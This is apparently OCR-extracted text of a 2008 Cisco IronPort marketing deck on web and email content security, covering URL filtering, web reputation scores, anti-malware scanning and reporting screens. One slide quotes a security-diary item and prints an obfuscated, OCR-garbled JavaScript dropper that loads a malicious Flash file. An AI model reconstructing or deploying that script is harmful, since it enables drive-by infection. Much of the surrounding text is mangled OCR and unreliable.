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Cisco IronPort Overview




Adding Content Security to the Network
Deeper + Wider = Improved Visibility

Cross Layer, Cross Protocolﬁanalysis of email and web
traffic

| Content Security |
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Locked the network doors,
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Self Defending Networks 3.0

A New Framework for Deep & Wide Security Solutions

Managed and Professional Services

Secure Network Platform

Management: Policy Control, Visibility, Reporting, Reputation

Content Security Application Security

(IronPort)
Email, IM, Web, P2P... XML, database
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Enforce
Policy

Block Incoming
Threats

CONTENT
SECURITY
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Security Appliance
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Security Appliance

SenderBase
(the common
security database)

MANAGEMENT

Controller

Centralize admin:
* Per-user policy

* Per-user reporting

e Quarantine

» Archiving
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Summit 2008
Mail Server

End User Client




The SenderBase® Network
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Layer 4 (L4) Traffic Monitor

Integrated Network Monitoring

IronPort AsyncOS™ Web Security Platform
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Layer 4 OflA LH/QIF EefH scanning
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Wire-Speed (up to 900Mbps)
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Filters™

Enforcement

IronPort AsyncOS Web Security Platform
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IronPort URL Filters

ZHQISt database
_
v'52 ¥HY over 21M sites,
web pages
itori

24 X 7 monitoring chat

URL Categories

SERTES
%EGI‘ gxﬂ“ JEI'E‘I Top Categories Matched Top Categories Blocked
v A, 188 M
v BLUHE Only & T8t action,
v' Custom notifications
Visibility
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Top Categories

29 Mb
150 Mb 111 Mb
1z0 Mb 11 Mb
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lIronPort Web Reputation Filters™
The Outer Layer of Defense

IronPort AsyncOS Web Security Platform
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Web Reputation Filters

Metrics

 Web Server Blacklists
e Domain Blacklists
* URL Categorization Data

* HTML Content Data

« URL Behavior SenderBase Data Analysis/ Web Reputation

Data Security Modeling Scores (WBRYS)
* Global Volume Data 10 to +10

° DO m al n Reg iStrar Web Reputation Filters Settings
Inform a.tl on V' Enable Web Reputation Filters

* Dynamic IP Addresses

Web Reputation Score

e Compromised Host Lists BLOCK SCAN ALLOW

-10.0 to -6.0 -5.9to 5.9 6.0 to 10.0

* Web Crawler Data

* Known Threats URLS

* Email Server Black &
Whitelists

* Spikes in URLs found in Block

Em all The requested URL is immediately blocked. e IronPo B < the client egues owed. No scanning is
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Web Reputation Filters - &

= 2008. 05 Adobe Flash #§%UAN

Malicious swf files?

Published: 2008-05-27,
Last Updated: 2008-05-28 00:38:42 UTC
by Adrien de Beaupre (Version: 3)

0 comment(s) Digg submit

Marco and Eric wrote in to let us know of 3
huoxp e/ /www . playOninie.com/pcd/tap
The JPG file is actually a script, show

window.onerror=function{){return true;}

function init{ {window.status=""; Jwindow.onload = init;

eval(function(p,a,c,k,e,d){e=function{c){return{c«<a?":

e(parselnt{c/a)))+{{c=c%a)>3575tring. fromCharCode(c+29):c.toString(36])F;

if{!".replace(/~/,String) ) {while{c--){d[e(c)]=k[c]| |e{c)tk=[function(e){return d[el}];e=function{){return"\w+'};c=1%;while{c--}{if(k[c]){p=p.replace
{new RegExp("\b'+e(c)+"\b','g"), klc])}Freturn p3{'n{2.q.k("i=")==-1){E 5=F D(};5.C{5.G()+12%]*1*B);2.9="i=K;1=/; 5="+5.1();n(L.y.t[).k{"s")=0){2.3(\'<r
A="z:u-x-v-w-H"¥="6://15.14,9/13/10/11/17/18.M=153=4,0,19,0" |="0" m="0"

16="2">\";2.3(\'<8 7="R" 3="Q"/=\");2.3(\'<8 7="P" a="6://g.h.9/e/f/d/b/p.

C"..." }I"..I::IFE.}:I"..I <8 7="N" EI="O".."I 5‘.}:],'-2.3{"'..' <8 7="g" EI="—'7T".."I }II'.II::|:2.3':II‘..I =X g="

6://g.h.9/e/fid/b/p.c" =\ 230 e\ WL 2.3(" <V o=6://g.h.9/e/f/d/b/U.c |1=0 m=0=")}}",62,73,"| |document | write | | expires| http|name | param|com|value |
20080311cPxI31|swf|ffllus|pcd|topics|www|playOnlnie|playon|50|indexOf|

width|height|if|src|07 | cookie|object|msie | toLowerCase|d27cdbbe|11cf|96bE | aebd|

userfgent|clsid| classid| 1000 setTime|Date|var|new|getTime | 444553540000 |

toGMTString|path|Yes|navigator|cab|quality [high|movie|sameDomain| allowScriptAccess

|bgcolor| ffffff| 08 |EMEED |else|embed|codebase | middle|shockwave|cabs| | pub|macromedia

|download]|align| flash|swflash| [version'.split{'|"),0,{3))
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Web Reputation Filters - 2&d3E I XIH
* WBRS 2/t XI5 Xttt

WEBRS Lookup

Entar 3 URL to look up its WBRS score and rule h:tp Jjeountl8.wuging17173.en
hits,

URL: hittp://courtiB.wuqing17173.cn

Score:  -B.70

Number of feedback repor :
30 days):

Tolal number of feedback reports for this URL: 0
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lIronPort Anti-Malware System
lIronPort Dynamic Vectoring and Streaming (DVS) Engine™

IronPort AsyncOS Web Security Platform
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Anti-Malware (Multi-Layered Malware Defense)

Multi-engine, high-performance scanning

Webroot & McAfee 2%l 0|2

_ IRONPORT |
Stream scanning DVS ENGINE

= X XIS {8 82 M

Adware Spyware Trojans Viruses

Webroot + McAfee

~35% additional coverage
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M

Web Security Manager’

S AISL ¥ 18Y U 38 g
IP, Subnet S0l [12 &4 A

v’ Application Blocking & Tunneling

v'URL Category Filtering Policies
. . . Add Group...
\/Sl Ze/ Ty p e ReSt Il Ctl ons Order | Group Applications URL Categories | Objects Anti-Malware | Delete
Anti'Malware Sett| ngS Block: FTP o Block: 256 Mb (global palicy) N
« Allow Skype 1 | QA Block: User Agents nitor: 2 m}
* Allow executables Block: User Agents loc x Size (disabled)
* Allow all applications i -'
* Allow all protocols eabied)
Marketing 1 o
* Block executables

e Block gamb”ng sites + | oer® {alobal palicy) o .. g {global policy)
* Block all malware

Block: 13

- Block FTP Global Polc T | o User pgets  Alow: 0 e
« Block Media files o e

* Allow all URL categories

I Authentication
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Web Securi

ty Monitor & Report

‘Web Reputation Actions (Velume)

System &EH =

200

o E7fm =

1200

Clean Transacions:

2 ANOIEE

Suspect Transactions Detected

w0
500 {

=

AOIE Ml H 1M :

Client Activity

Client Detall
Category Detall

Malware Details

Compiena

Malware Trends

L4 Traffic Monitor

Web Reputation
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00

Burxen

B Block
Scan Further: Clean
Scan Further: Malware Detected

Allow

Current Configuration

286
486

264

Export...

Web Reputation Actions (Percent of Traffic)

18.2%

30.0%

20.0%

. Blocked (31.8%) Scan Further: Clean (20.0%)

Block -10.0 to -6.0
Scan Further -5.9 to 5.9 Allow (18.2%) Scan Further: Malware Detected (30.0%)
Allow 6.0 to 10.0 Export...
h ‘Web Reputation Scores and Actions
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URL Filter
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